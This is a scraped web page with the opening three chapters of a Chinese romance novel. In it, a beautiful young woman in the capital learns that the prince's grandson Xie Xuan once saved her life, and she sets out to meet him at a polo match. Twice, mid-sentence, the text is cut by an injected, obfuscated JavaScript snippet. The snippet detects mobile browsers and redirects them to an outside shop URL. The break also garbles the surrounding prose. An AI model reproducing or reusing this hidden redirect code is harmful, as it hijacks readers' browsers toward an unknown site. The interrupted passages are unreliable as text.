《美貌无往不利》 1. 上京来了个程姑娘 程府,明净堂前。 青衣婢女们双手捧着新送来的布料,垂首敛目,静立在一侧等候着。 程夫人悠闲踱步,拈出一双保养得当的玉手,拂过各式绸缎云锦。 这些在寻常人看来价值千金的布料,在她看来,却还有些嫌弃。 “对女子而言,美貌是第一重要的,除了天生丽质,衣裳、首饰、妆容样样都必不可少。” 挑了许久,她终于挑出匹天青色的云锦:“就这个吧,按姑娘的身量制成芙蓉裙,其余各要一色裁制春衫,王府贵人多,不能失了礼数。” 婢女们听罢,恭恭敬敬应声点头,退到外间。 侍茶女焚炉熏香,给客人沏茶。 客人姓王,人称王娘子,是绸缎庄的老板娘。 王娘子生意经修得炉火纯青,早练就了见人说人话,见鬼说鬼话的本事。 程夫人一开始的那句话,显然是对站在屏风旁的程姑娘说的,程姑娘若有所思没有搭话,王娘子便先附和了: “夫人说得对极,人靠衣装马靠鞍,谁家女子不好打扮,不过就姑娘这通身的气派和容貌,往人前一站,不加装饰也照样光彩夺目!” 原只是为了哄程夫人欢心恭维两句,可当鲜少露面的程姑娘绕过屏风来到人前,她还是按捺不住仔细瞧了一眼。 真被她说中了。 眼前的少女十五六岁年纪,眉目间存有几分青涩模样,五官却生得极为精巧,一双杏眼莹亮,宛如流光婉转。 再往下看,少女身姿纤秀,颈项修长,腰上系着一条月白色素带,衬得腰肢纤细如柳,浑身透着一股娇媚柔弱,格外惹人怜惜。 王娘子看怔了,手中茶放凉了都未觉。 程家祖籍桥州,都说桥州出美人,果然名不虚传。 时值襄王府老太妃寿宴。 程家入京不久,根基浅薄,对下虽然富贵逼人,对上却连王府的边儿都摸不着。 程姑娘有一位表姑嫁给了临安侯府的二老爷,程夫人走访亲戚,和临安侯夫人志趣相投,才有机会借着侯府的脸面到老太妃面前说几句吉祥话。 寿宴这日,宾客不算多,只请了京中和王府有交情的府邸。 就算如此,除去成年男客不入内厅,光是各个官宦家的女眷姑娘们就占了满满一个长厅,更别提身后服侍的婢女婆子们。 老太妃面容慈祥,已是迟暮的年纪,仍能从眉目间看得出年轻时候的风华。 程姑娘上前问安贺寿,跪着说了准备好的寿词,老太妃高兴,瞧她漂亮还多问了几句。 程姑娘第一次面见皇室也没胆怯,很快想好了答案。 正准备回话,一个穿着布衫的下人匆匆跑来。 “禀太妃,公主府传信,昭阳大长公主要亲自为您贺寿,轿辇已到福华巷口了。” 程姑娘不认识昭阳大长公主,但见众人听了这一句纷纷敛声屏气、坐立难安,应该来者不善。 老太妃点点头,让儿媳襄王妃去迎接贵客。 程姑娘慢慢起身,老太妃身边的嬷嬷引她退回座位,临走特意安慰了两句。 “姑娘头一次见太妃,不是姑娘不好,只是昭阳大长公主就要来了,老太妃怕您在旁难以应对,才让您先行退下。” 程姑娘笑说无碍,下次再给太妃请安。 过了一会儿,一个端庄典雅、仪态万方的老妇人便在襄王妃的陪同下进了花厅,身后跟着一个华冠美服少女,同样一副高不可攀的模样。 “母亲,我好像有些不舒服......” 程姑娘忍了一阵还是面露难色,捂着肚子朝程夫人示意。 不知是不是王府的茶水比自家好太多,肠胃未适应这么贵重的茶叶,这会儿肚子隐隐作痛。 “门口有伺候的婢女,让她们带你去吧,小心些。”程夫人嘱咐道。 程姑娘点头起身,紧紧捏着帕子。 幸得她们的座次在最后,骤然离席不会太引人注目。 有人从门外进来,二人擦肩而过。 程姑娘难受着,没注意来人面容,只觉得一阵风刮过,留存一股从未闻过的味道。 上京的达官贵人有用熏香的习惯,她也不例外,对各类熏香如数家珍。 可这次好像嗅不出是哪家铺子的香料。 清冽如松的气息中夹杂血腥味,步履匆匆、生人莫近般,让她有些犯怵。 扶着门框抬了抬眼,听见旁边人低声议论,才知那是王府的二公子谢铉。 他一身玄色衣裳,比门口的侍卫高上许多,腰封挂着短剑,走路板板正正又异常惹眼,大抵是刚从外头归来,肩上沾了两片碎叶还未清理。 堂上,昭阳大长公主携孙女拜会了老太妃大寿之喜,在一干人等的注视下款款落座。 谢铉也奉上了特意寻来的贺礼。 老太妃难得见孙子一面,当即慈爱笑道:“明昭快快起身,你有这份心赶回来已是喜事,正好认认人。” 场内皆知,谢铉未有婚约,老太妃说是让他认识人,实则是默默观看其中是否有合他心意的。 眼高于顶的贵女们纷纷露出羞怯柔婉的目光,按照老太妃的指点,轮流上前和他问安。 谢铉各自点头应了一声,表情淡然无谓。 程姑娘还想再看,但肚子不等人,只能咬唇出了花厅。 没多久,门口通传临安侯府的大公子江砚白到了,谢铉听罢,对着老太妃鞠了一躬,以好友相邀为借口,匆匆离开,留下脸上各色纷呈的客人。 江砚白人如其名,做个青衫旧衣的书生打扮,不熟悉的人见了,必然会以为这是个文弱佳公子,翩然心往。 实则却是个不爱诗书爱玩乐的。 他和谢铉出了花厅,折扇轻摇,脚步轻盈,面上鄙夷又可惜。 “谢明昭,不就是几个女人吗?有什么可怕的?值得让我特意把你喊走。” “你倒是清闲,不如去娶了昭阳大长公主的孙女?”谢铉凉凉提议。 暮春时节的天儿半冷不热,暖风徐徐,可谓是醉得人不知天地为何物。 一袭春衫的江砚白想到了什么,陡然打了个寒颤。 昭阳大长公主是先皇的同母姐妹,拥护两代帝王登位有功,威名赫赫,她的孙女刚出生就封了县主,宠出一身骄横的脾气。 得罪她的人,轻则杖责数十棍,重则直接打死,弃尸荒野。 请这么一尊大神回家,他是嫌自己家太安宁了么。 他连连摇头,一副敬谢不敏的模样:“免了免了,人家看上的又不是我,若到时候她以为是我作梗导致你俩无缘,我可顶不住公主府的报复。” 谢铉闲庭信步,一副可笑且多说无益的不屑。 幼时他身为皇孙,随父母生活在宫中。 大梁祖制,皇帝若死,妃嫔无所出者皆要殉葬。 先皇妃嫔众多,为了怀上龙嗣,后宫之中争宠不休,隔三差五就闹上一回。 谢铉曾看过失子失宠的妃嫔被人下毒后,神智失常,半夜溺死在湖里,最后只剩半副残骸。 直到新皇即位废除了人殉,才平息了这股不正之风。 可惜新皇矫枉过正,独宠皇后,以至于子嗣艰难,膝下只有太子一根独苗。 而这太子,年满十九却先天不足,终日离不开大夫。 前些时日被几个蹩脚刺客一吓,已经到了卧病不起的地步。 谢铉有此怨念,也是听闻太子病重,皇帝想让他留在京城,若有不测,酌情立他为嗣。 给太子当替身,他死了,他才能上位。 那他是盼着他死呢,还是不盼着他死? 临安侯府消息灵通,自然听闻了这件事。 江砚白用折扇敲着掌心笑:“你暂宽心,我听说皇后娘娘要给太子相看贵女,等东宫诞下皇孙,没准陛下就放你回边境了呢?” “兴许吧。”谢铉不以为然。 眼下叛乱已平得差不多,等未来太子妃怀孕了再回去,黄花菜都凉了。 满园春色勾不起丝毫兴致,两人一边闲谈一边从廊桥画壁走过。 起先还有下人低头行礼,到了烟柳桥,就只剩鸟雀相伴。 行到无人处,江砚白眼神一亮,突然扯着他衣袖:“你看,那就是上京近来最出名的美人!” “不过程姑娘怎么和鄞川侯府那个浪荡子在一起了?” 谢铉对他说的不感兴趣,听到是孤男寡女私会,鼻息嗤笑一声,觉得上京风气都坏了许多。 “怎么,她与你有旧情?” “说什么呢,我可不敢惹她。” 江砚白低声揶揄:“这程姑娘来京不久,美貌却鼎鼎有名,许多人为和她说句话都要相互争执,上回春日宴,那陆延就差点被 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江砚白还想趁着那两个没发现,躲在暗处听场戏,忽觉手边一空,忙低声唤谢铉。 “明昭,你怎么走了?” 墨色袍角扫过鹅卵石径,步伐匆匆而去。 “你自己听吧,我可没空。” 谢铉声音不大不小。 假山旁的程姑娘被吓了一跳,推开追上来的陆延:“陆公子,母亲怕是等我等急了,就不打扰陆公子赏景,来日再听陆公子的妙句。” 美人如玉,杏眸彷徨失措,肌肤白中透粉,比最鲜嫩的蜜桃还让人垂涎。 陆延咽了咽口水,收住了硬上前的脚步,引诱道: “无妨,只是程伯母在席上和旁人叙旧,无暇顾及妹妹,劳妹妹赏个脸,再陪我观赏片刻,我便将玉佩赠与妹妹如何?” 这程晚苓上次就一直盯着这个玉佩不放,几度开口,陆延是风月场里的老手,当然知晓她眼里的含义。 两人在这道上偶遇,果不其然,没几句她便借着父亲生辰,想刻一枚玉佩作贺礼为由,拿了玉佩细细观看。 虽说她出身程氏,除了担任侍郎的父亲,余者平平,母亲那边还是低贱的商贾,相较于鄞川侯府的门第,着实逊色不少。 但程侍郎颇受皇帝重用,几次私下召见,半年便从五品知府青云直上,急速攀爬到了如今三品大员。 且看他身强体健,少说还有二三十年的仕途,日后登阁拜相也未可知。 最重要的是,程晚苓本人还是娇艳欲滴的美人一枚。 细如杨柳的腰肢,在春词花宴上不小心被婢女绊倒扭的那两下,旁人看不出,他混迹青楼,却知道这腰肢该软成什么样。 美色细腰当前,如何不眼馋。 “陆公子误会了。” 晚苓迅速以团扇挡在他手前,将陆延眼中的饥渴之色一并挡了。 “君子不夺人所好,况且你我两府素无往来,私相授受之事,晚苓今日只当没听过,还望陆公子见谅。” 襄王府内景色极美,花团锦簇,可称得上一步一景,湖光山色之间常有柳暗花明之意,让人目不暇接。 晚苓打发陆延后快步逃走,景色再美也无心逗留。 程夫人问起,她只说自己头回来王府,不慎迷路,没告诉母亲这桩烦心事。 好在程夫人一贯心大,女儿说什么就是什么,听了之后竟也没有察觉不对。 头回来王府不错,可除了主家,谁又是经常来的。 人人都没迷路,她却迷了。 王府大宴宾客,前庭后院忙得脚不沾地,人来人往,找个安静点的地方都难,谁又会偏偏往那不知处的地方去,难道不该寻个丫鬟婆子问一声? 程夫人扭头就和身旁一位深色华服的中年妇人继续说话去了。 晚苓觉得,自家事迹能这么快以风卷残云之势传遍上京,程夫人功不可没。 人和人的交流,讲究礼尚往来。 程夫人又说了几件当年和婆婆暗地里相互磋磨之事,那位华服妇人便把自己刚听来的传闻坦诚相待了。 “你猜昭阳大长公主自恃身份,一向眼高于顶,今日亲自来给老太妃贺寿是为何?” “为何?” 2. 你认识这个玉佩 程夫人听得格外专注。 眉梢微微挑起,那抹好奇恰到好处,勾得人分享欲十足。 华服妇人身子又往这边倾了倾,语气里按捺不住的兴奋与得意。 “还不是因为她孙女宁嘉县主看上了二公子,之前襄王妃婉拒了她,说小儿戍边不敢私自做主,这会儿知道二公子回京,就腆着个脸和太妃说和。” “那后来呢?” “二公子听完,没等太妃开口,找了个借口就走了。” 程夫人不解。 宁嘉县主好歹和皇家沾亲带故,身份尊贵。 就算谢铉出身襄王府,贵不可言,也不能一点面子都不给吧。 华服妇人指尖戳着石案,一脸你有所不知的模样:“襄王府和公主府,早些年可是有仇的。” “什么仇啊?”一旁的晚苓忍不住插嘴问。 华服妇人也没计较这些,继续低声八卦:“五年前,襄王带着二公子挂帅西征,同去的还有昭阳大长公主的孙子。” “王爷命两位年轻后辈统率轻骑营,碰上北狄骑兵夜袭粮草大营,二公子把突围求援的指望给了他,谁知他逃走后,竟然知情不报,险些害得二公子死于敌手。” 她顿了顿,露出几分可惜:“后来王爷以军法处置,两府便不再往来了,前年二公子重创北狄十万大军,陛下龙颜大悦,要封他为郡王,结果大长公主突然上表,说二公子在军中不顾圣意,私自处决俘虏,不堪封王,陛下最后也只能不了了之,多赏了些财帛,不然这些年以他的威望和功业,何至于连个爵位也无?” 母女二人听得津津有味。 一会儿给华服妇人递上茶水,一会儿发出“啧啧”感慨,末了,几人已经啃上了瓜子。 其中说到谢铉一人一马在敌营勇取北狄将领首级时,晚苓尤其惊愕。 “杀了多少?” “三百!” “母亲你记错了,是三千!”清脆的声音传来,小故事座谈会又加入一人。 晚苓望向来者,远山眉黛,唇红齿白,一身明艳衣裙衬得她光彩照人,煞是张扬可爱。 临安侯夫人皱起眉头:“是吗?我是听你父亲说的。” “我是听哥哥说的。”江灵萱语气笃定,“二公子和哥哥是至交好友,还能骗哥哥吗?” 说着,她抛出一则重磅消息:谢铉回京前夕,救过被水匪打劫的宁嘉县主,所以宁嘉县主才不顾脸面让长辈前来求亲。 “这是救命之恩,以身相许啊。” 程夫人一语中的,言语中不乏对此事的赞扬。 与上京门当户对、相敬如宾的婚姻不同,程家夫妇绝对称得上真爱。 在桥州时,程老夫人曾多次怨怪儿媳没能生个孙子,程夫人自知理亏不敢辩驳,都是程侍郎为她们母女冲锋陷阵,所以程夫人对男女相恋欣赏得很。 “那二公子是何反应?”晚苓问。 江灵萱抓起一把瓜子,轻轻嗤了一声:“能有什么反应,二公子直说救她的是他手下的伙夫,若要报恩,不如嫁给他的手下,那人当了好几年鳏夫,儿子也娶妻了,儿媳快临盆没人照顾,她嫁过去就能当祖母!” “......”程家母女傻眼了。 尤其是程夫人,一副替宁嘉县主真心错付的悲痛惋惜,捻着帕子抹了抹毫无泪水的眼睛。 晚苓轻轻拍了拍她的手臂,心里也觉得谢铉此言属实过分了。 程家在一众王公贵爵中属于微末,谢铉被老太妃拉着到女眷当中认人时,她只能遥遥相望。 不过她并不失落,反而觉得那些被谢铉冷眼躲避、刻意疏远的女眷有些可怜。 出身高又如何,那脸又黑又臭,看谁都是欠了他银子一般。 身形更与时下流行的纤薄之态大相径庭,高大健硕得很,谁嫁了他,万一夫妻之间生了嫌隙,没准一拳就能把人挥得吐血。 晚苓小声嘟囔:“人姑娘家都没嫌弃他生的黑黢,脾气刚硬,他居然还如此羞辱,是我早就把他骂一顿了,怎还会请长辈亲自上门?” “......” 江灵萱啧啧咋舌,没想到晚苓看起来娇弱如花,竟能说出如此胆大的话。 “你真的敢骂他?” “敢啊。”偷偷骂他又听不见。 江灵萱回想了一下谢铉的模样,觉得晚苓的话有失偏颇。 先前谢铉是站在一堆女眷之中,对比她们保养得白皙的皮肤和身材,自然显得肤色较黑、身形壮硕,实则他并不是那种满身赘肉的武夫。 相反,他体魄壮实不乏精悍,结实有力,配上那张清朗贵气又透着几分冷峻的面容,上京的世家公子里,还真没哪个能比得上他。 再看看晚苓。 身材娇小羸弱,肌肤白皙,如瓷玉般易碎,见到高大强壮的陌生人不心生畏惧才怪。 程夫人能在上京一众官眷中找到临安侯夫人这个知己,晚苓自然也和江灵萱个性相投成了好友,整日混在一起。 四月里,暖阳和煦倾洒而下,照得人心里暖暖的。 许是天气好,筑巢的燕子也在屋檐下欢快鸣叫。 晚苓迷迷糊糊地睁开眼,贴身婢女画眉端着盥洗的清水上前伺候,熟练拿起梳子。 漫漫乌发拢成时下最流行的柳云髻,再簪上支青翠欲滴的步摇,一举一动宛如翩翩蝶舞。 江灵萱远远瞧见还不觉惊艳,直至走近跟前,眼中已是璀璨星光。 “阿苓,若我是个男子就好了。” 这样就能把她娶回家,天天捧在手心看。 “若你是男的,就你这个贼眉鼠眼的色相,我才不会理你。” 晚苓美而自知,况且这色眯眯的眼神她不知在多少男子脸上看过,心里升不起丝毫涟漪。 二人有个共同的爱好,看话本。 在桥州,上头还有祖父祖母当家,四位高堂管束得紧,她不太能有机会接触市井流传新鲜事物。 到了上京,程侍郎仕途顺遂,连跳数级,公务愈发繁忙,程夫人操持家事,对晚苓的管教渐渐松懈下来。 上京文人雅士众多,想法新奇,流传的话本比桥州那些陈旧的故事精彩多了。 江灵萱的眼睛,就是看话本看坏的。 二人最新追的这本,讲的是上元节落魄书生与员外郎家的娇小姐因画相识,小姐怜惜书生怀才不遇,慷慨解囊助他进京赶考,两人情难自弃,眉来眼去共赴巫山的故事。 江灵萱越看越脸红。 尤其是那些露骨得令人面红耳赤、心神靡乱的场面,简直不堪直视。 早知道她先在闺房里看完了才拿给晚苓。 她佯装兴致缺缺,在房内闲逛,不经意走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371131|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚苓的梳妆台旁,眼角捕捉到一张微皱的纸。 随手拿起来一看:“晚苓,你画二公子的玉佩做什么?” 晚苓正看到精彩处,闻言愣了一愣,很快反应过来,激动看着她:“你认识这个玉佩?” 江灵萱笑她大惊小怪。 “这是谢铉的玉佩啊,叫黄龙青纹佩,龙身为黄,眼睛却是青色的,听说背面还雕着梅花呢。” 对上了!都对上了! 晚苓扔下话本,拿着那张纸再次向江灵萱求证:“当真是谢铉?就是那个襄王府的二公子谢铉?” 江灵萱失笑:“黄龙青纹玉乃是先皇所赐,这还有假?” 敢造皇家的假,是嫌脑袋太稳了想松动松动吗? “竟然是他......” 她喃喃自语嚼了嚼他的名字,恍然若失回味着。 原来只当自己见识少,心心念念找这玉佩的主人半年,没成想早就见过了。 “小阿苓,你这春波荡漾的脸色,不太对劲啊。”江灵萱捏着她的脸颊质问,“快说,是不是有什么奸情?” 晚苓皮肤光滑剔透,比最娇嫩的花瓣还弱上几分,经她手一摸,两颊很快染上了褪不下的红痕。 她躲开江灵萱的魔爪,顾自拿过那张纸,认真摩挲起来。 江灵萱不依不饶追问:“你这么遮遮掩掩,不会是喜欢他吧?” 晚苓看话本时,就算遇到那些羞涩露骨的描写,也都是一眼扫过,脸都不带红的,这会儿居然对着一个玉佩念念难忘,眉目间全写着情难自抑。 这段时间,二人来往频繁,俨然熟透了,晚苓便和盘托出。 半年前,她随程夫人来上京,路过信州时,恰逢璧华楼举办灯会。 听人说,璧华楼四年才举办一次灯会,当夜会有形态各异的灯彩交相辉映,夜晚也如白昼般耀眼。 程夫人可怜她整日不是在府中反省就是旅途劳顿,想着公公婆婆不在,就带她和几个婢女赏灯赴会。 没料到人潮拥挤,晚苓过桥时没跟上,和她们走散了,生生被挤出桥栏。 眼看要失足落水、命悬一线之际,一个白衣身影如闪电般从水面飞掠,稳稳将她揽入怀中。 待回到岸边,她惊魂未定睁开眼,看到的就是一张青面獠牙的虎头面具。 当时她太慌张,不小心把那人的玉佩揪了下来,等反应过来还给他后,那人便走了。 晚苓心猿意马,这才想起还未谢他救命之恩。 上回她瞧陆延也挂了个黄玉纹佩,讨来仔细一瞧,只是相似而已。 陆延纹的是蛟,那人刻的却是龙。 她早该想到的,这世上除了皇室子弟,谁敢戴龙纹佩。 本以为这辈子都无法报答救命之恩,原来恩人早已悄悄来到她身边。 “可我身处后宅,只是一个侍郎家的女儿,谢铉什么都不缺,我好像......根本没什么能报答他的。” 晚苓忧愁顿生,如花似玉的脸上全是惋惜。 若他是个普通书生就好了,以程侍郎如今的身份,必能在仕途上尽一份心。 若他是个行商的商贾,棠家外祖长袖善舞,持筹握算不在话下,也能助他财源广进。 可他偏偏是襄王府的公子,无论是财力还是权势,除了皇帝,整个上京没有能和他一较高下的。 3. 以身相许,天经地义 惆怅间,画眉挑开珠帘,端来一盘点心。 晚苓恍然接过那碗蜜遮杨梅羹,舀起一匙胭脂色的果肉,囫囵咽下。 屋内熏香冉冉,鼻息透入,人也醉了几分。 江灵萱安慰她:“无妨无妨,俗话说施恩不图报,既然他没认出你,想必也没将此事放在心上。” 晚苓似蹙非蹙,垂头叹息:“人都说滴水之恩当涌泉相报,就算他不图什么,我也理应感恩戴德,结草衔环,必不相负。” “上回你好像不是这么说的......” 江灵萱认真盯着她,扯出一抹调皮的笑:“你说他长得一副黑心冷脸的模样,身材魁梧一不顺心就会打死人。” “那、那是男子气概嘛。” 晚苓脸色霎红,捂着良心小声辩驳。 “你还说他拳脚粗蛮,凶神恶煞不给姑娘家留面子。” “那是宁嘉县主逼迫他娶,没了爵位还得被人攀附,一时生气口不择言也是有的。” “那你还要偷偷骂他吗?” “呃......不了吧......”毕竟是恩人来着。 要没有谢铉,她怕是早就魂归黄泉了。 如此看来,长得凶算什么,现下他哪哪都是优点。 江灵萱捏着瓜子笑出泪花,忍不住歪头歪脑打趣:“也不知道是谁,先前还说人家是凶巴巴的黑脸阎王,现在就成了大慈大悲的救命菩萨?” 见晚苓头都快低到尘埃里了,她继续捏着嗓子调笑:“哎呀,谢铉虽然冷了些,凶了些,可到底是救命恩人呢,我们程大姑娘可怎么办......” “我那时又不知道......” 她羞愧闭上眼睛,绞着帕子往床角缩。 如果早知道,在襄王府肯定上去当面道谢。 再不济,也多瞧几眼。 江灵萱踢了鞋追上去,捧起她的下巴,一派真诚建议:“别躲嘛,既然你不讨厌,又心心念念报恩,不如效仿宁嘉县主嫁给他?” “救命之恩,以身相许,天经地义!” “不成不成!”晚苓抽出手按住她的嘴。 没有宁嘉县主的事,她或许还能付诸行动,希望以一颗真心感化他。 前车之鉴,难保谢铉不会对她报恩的想法生厌,继而像嘲讽宁嘉县主一样,让她嫁给他的手下。 她可不想十六岁就当祖母,过上含饴弄孙的生活。 两人闹着滚着,又追去湘妃榻上把窗户打开,檐下新燕听到动静,扑棱棱飞远。 画眉过来收拾时,晚苓云鬓散乱,妆饰松脱,像是刚从床榻起来。 薄纱样的披帛滑落肩头,连衣襟也松动了,露出白皙如玉的鹅颈和圆滑的肩头,脸上一股幽怨看着江灵萱。 江灵萱趁手拿过画笔,沾了胭脂点上她的脸,一朵桃花开在眉间。 她十分满意自己的杰作:“别灰心嘛,你的容貌,寒铁也要化成绕指柔,谢铉怎么会不喜欢......” 美人甚多,晚苓的美就是每个人见了都会惊叹她怎能如此完美无缺的那种。 有的女子容貌华丽,肤色却不够白净细腻,音色婉转如莺的身段又缺轻盈飘逸,曲线玲珑的面容大多娇媚过嗔,叫人看了直觉俗气。 只有晚苓,哪怕用最挑剔的眼神观摩全身上下,也找不出一丝瑕疵,不似凡间人。 这种美,已经超越了寻常。 哪怕在桥州大门不出二门不迈,外人只消听说,都顾不得那招蜂引蝶的名声,想把她娶回家。 到了上京,这让人一见即化的美貌,哪个见了没点想法,像陆延那般没有十个也有八个。 她俯首贴近晚苓耳边,细声细语:“说来还有一事关乎你,最近上京许多世家贵女都在急着挑选夫婿,你可知是为何?” “为何?” “当然是为了不嫁给太子殿下当寡妇!” “听说,皇后娘娘正给太子殿下相看太子妃,虽说他也不一定那么快死,但那身子骨确实不是长寿之相,你若久久不定亲,我看陛下极有可能选你当太子妃。” “你怎么会这么想?” 晚苓进京半年,只跟着程夫人出席过几次宴会,连宫门朝哪开都不知。 “嘿嘿!”江灵萱指了指上头的方向,神秘一笑。 “眼下都在传,陛下从一众州府中看重你父亲,多半是看你家容貌个顶个的好,毕竟当年他求娶皇后娘娘当太子妃,也是因为娘娘貌若天仙。” 诚然,程侍郎和程夫人都长相出众,一个俊美无铸,一个姿容窈窕,晚苓更是挑剔地结合了二人的优点。 江灵萱继续低声道:“大梁皇室从前有殉葬的习俗,若你真嫁了太子,哪天他死了,就算如今没了殉葬的要求,但陛下和娘娘不忍他一人孤单,非要送你去陪他,你父亲身为臣子,难道还能拒绝,如此,你还怕去碰谢铉的灰吗?” 晚苓摇头。 两人默契对上了眼色。 江灵萱是个热心肠的,办事又利落,回家立马就和江砚白打听谢铉喜欢什么样的女子,势必要让谢铉喜欢上晚苓。 不久后,东门京郊外。 晚苓收到江灵萱的信,特意换了一身雪青色的襦衫出门。 双肩搭着藕荷长纱帛,整个人如同雪后初晴展露的一抹微紫,鲜嫩而娇媚。 江灵萱叉腰绕着她转了两圈,连连摇头:“美则美矣,可我们是去打马球啊。” “你这模样,别说骑马,被风吹两下都要乱套了,待会儿可别在谢铉面前出丑才是。” 晚苓原本就有些犹豫不决,听她这么一说,更加踌躇了,揪着帕子把她往回拉。 “你确定谢铉喜欢武艺高强、英姿飒爽的女子?要不还是算了吧,就算我想嫁他,为何要我自己去......我是大家闺秀,不应该是父母替我去说亲吗?” 宁嘉县主行事如此大胆奔放,尚且请了长辈试探一二。 她只是女儿家,抛头露面和外男幽会,试图勾引,总觉得有失妥当。 “非也非也。” 江灵萱左手摸着下巴,右手捏了捏她的披肩,分析道:“你和谢铉素不相识,程伯父贸贸然去说亲,你觉得谢铉会答应?” 晚苓想了想,讪讪摇头。 “所以啊,咱们先在他面前露个脸,让他知道你长什么样子,倘若他对你避之不及,毫无想法,那程伯父也不用跑去受人白眼,倘若他喜欢你,正好让他向你家提亲,皆大欢喜。” 晚苓抿抿唇。 她说的,好像有点道理。 江砚白和谢铉交情匪浅,好不容易有机会近距离看看谢铉,也能让他知道上京有自己这么个人,让江砚白探知他的心意,是最好不过。 就算他真不喜欢,江家也不会传扬出去。 可不知为何,她心里总在打鼓。 对宁嘉县主都不假辞色的谢铉,知道她也是一样的想法后,口出恶言,或者心生厌恶怎么办? 她不想被救命恩人讨厌。 江灵萱让她别想那么多,没有尝试就退缩,难道真想去殉葬? 两厢抉择,晚苓还是听了她的话,换了身骑马的装束。 此时春末消去,草色葱葱郁郁刚好漫过靴子,又不会染上尘泥,正是打马球的好时节。 谢铉牵着一匹高大的赤马,穿着一身绛色圆领窄袖长袍,锦带束在腰间,身形修长,眉含英气。 他没戴皮靴和护具,只右手单拎着一节球杖,眼睛扫过对面几个同样穿着长袍的青年男子,拍了拍身旁的爱驹赤峰。 这是他从战场上带回来的,浑身呈赤金色,精神昂然,尾巴和四肢强壮有力,甩其他人的马一大截。 鼓声擂擂,马场助兴的大鼓砰砰作响,赤峰马蹄刨动,几次想要起步跑远。 谢铉拍了拍马腹,说了声别急。 回头寻找江砚白,那个熟悉的身影让他一瞬间便蹙了眉。 晚苓站在不远处,身上的骑装精巧干练。 乌发高髻,两条碧色发带随风而动,走动时格外妖娆纤弱. 尤其是那刻意收紧的腰身,盈盈不足一握,楚楚动人,一下子便把在场的目光都收过去了。 谢铉扫了一眼,转回头,目不斜视摸了摸赤峰的鬃毛,把护腕缠紧了。 而那双漂亮得过分的眼睛见到他,闪过一丝惊喜。 正准备抬脚,就被一个青衫皂靴打扮的男子拦住。 “程姑娘,原来你在这儿,害得我好找。” 男子快步上前,嘴角噙着浅笑,如影随形的目光让人难以忽略。 “是楼公子啊,我还有——” 没等晚苓说完,楼栈指了指自己牵来的马:“姑娘刚刚不是去看了马鞍,我知姑娘身量小,恐怕不适应那些个硬梆梆的鞍,特意给你挑了一个舒适柔软的,裹着棉花和羊皮的短桥软鞍,坐上去绝不会累人。” 晚苓望了望那匹白马身上的鞍鞯,果然比其他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371132|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的厚实柔软些,边上甚至嵌了软软的灰兔毛。 “多谢楼公子,我还得和灵萱去寻她兄长,马场事务繁忙,就不劳公子费心......” 楼栈似完全听不出她的拒绝:“没关系,我今日刚好无事,愿陪姑娘试试手。” “可我......” 晚苓尴尬笑了笑,又抬头看了眼谢铉那边。 哨声吹响后,谢铉便牵着赤峰到了今日做裁判的钱都知处,与江砚白一同祭拜鞠城神。 若只有男子马球赛,大多是用跑马“大打”,而女子体力较弱,一般选择骑驴“小打”。 当然也有女子巾帼不让须眉,和男子一般想要驯服马匹,驰骋沙场。 显然,她并不在此列。 好不容易见到本尊,还没说上两句话,就被人堵了。 晚苓咽了咽口水,张望谢铉远去的背影,与楼栈交谈时也是心不在焉,想着如何搪塞过去。 楼栈是这马场的东家少爷。 听闻她初次打马球便一直往她身边凑,说自己身为东道主,有责任好好关照贵客。 好不容易甩开他,谁知刚看到谢铉他便又追了上来。 正不知该怎么办时,去更衣的江灵萱及时出现。 “楼公子,我看那边韩王府的两个小公子正找你呢,说是球杆断了,要找你问罪。” 楼栈闻言一惊,立马告辞去应付韩王府的人。 晚苓松了口气,捂了捂慌乱跳动的胸口。 她来此,只是为了接近谢铉,马球什么的是一点兴趣也没。 就算在江灵萱的鼓励下换了这身勒得紧的骑装,也不过做做样子,不至于目的太明显。 慢慢地,艳阳逐渐上抬至明空。 没有云彩遮挡,炽热的阳光毫无保留递送温暖,融化了最后一丝春意。 江灵萱带着晚苓来到谢铉身边,见礼后,江砚白便向他介绍晚苓。 他当然还记着晚苓和陆延在襄王府的纠缠,不过江灵萱已经解释过,那是陆延的一厢情愿。 晚苓心潮澎湃。 虽然在襄王府已经见过一次,但那回是远远瞧着,并不看得很清楚。 走近看了,才看到他真正的样子。 骨相突出的轮廓,眉眼深邃,鼻梁高挺,看久了,似乎有种想要摸上去的欲望。 但那浑身散发桀骜冷漠也不是错觉,那高高在上的脸色,没来由就叫人心生退意。 “程氏晚苓,见过二公子。” 江灵萱看了眼她小心翼翼屈身行礼的样子,直接对谢铉道:“二公子,我们听说你要和昭阳府的小公子比赛,特意为你助威,不过晚苓头回来马球场,不敢上手,你是球场圣手,从无败绩,不知可否下场后教教她?” 晚苓被她直截了当的问话愣在原地,在谢铉看过来时,更是羞愧低下头,压根不敢看他的神色。 只是等了许久,也不见谢铉同意或是拒绝,她还是想知道结果。 眼眸悄悄半抬,虚虚透过江灵萱的肩膀,偷偷瞧向那挺拔的身躯。 他的脸还是那么冷峻,好像什么东西都引不出半点欢心。 双眸幽黑,冷冽似出鞘利刃,轻而易举划破她的探究,透着不容冒犯的威严。 晚苓心沉到了谷底。 “他不是很想当她师傅吗?” 谢铉没回答江灵萱的问题,往另一头指了指。 晚苓随他手望去,当即哑然。 